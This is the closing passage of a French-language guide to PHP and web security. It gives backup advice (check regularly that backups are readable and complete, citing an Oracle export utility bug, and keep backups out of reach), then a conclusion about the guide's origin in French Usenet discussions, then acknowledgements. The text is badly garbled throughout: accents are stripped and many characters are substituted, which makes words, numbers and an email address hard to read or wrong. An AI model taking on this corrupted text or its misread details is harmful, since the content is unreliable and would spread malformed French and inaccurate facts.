,l faut bien entendu sauvegarder rgulirement + si on dtruit totalement vos donnes %sgbdr, scripts, etc)))' ou si on vous les vole physiquement %vol d'ordinateur portable par e(emple') $eu( points nanmoins ce su=et + :' vrifier rgulirement que les sauvegardes sont lisibles et compltes %par e(emple, un bug de l'utilitaire "e(p" d'oracle L)( fait que l'e(port s'arr8te sans erreur ds que le fichier d'e(port de la base atteint ;"o))) dommage pour le reste' ) ;' vrifier que ces bac ups ne sont pas accessibles, ils contiennent toutes les donnes confidentielles recherches 5
;C/;<
). *onclusion
!uite diverses questions sur le forum fr)comp)lang)php, ='avais lanc un thread de synthse sur fr)comp)securite en m'engageant crire un rsum + il m'a fallu un peu plus de < mois pour m'y mettre et rdiger ce document, mais la recrudescence de questions basiques et d'attaques m'a pouss investir le temps ncessaire) 0'espre que ce document permettra d'viter quelques failles et n'en gnrera pas trop))) 7erci de me signaler toute erreur %faute de frappe ou autre') 0e reste disposition pour toute question, indique> "php" quelque part dans l'ob=et de votre email%:' envoy =ohn)galletesaphirtech)com %:' Aon la "gagadmie", un bon anglicisme est prfrable un mauvais nologisme)
+. ,emerciements
9u( contributeurs de fcs) 9 9rmel Bauveau et "eoffroy d',llier pour leur relecture attentive)
;J/;<
;</;<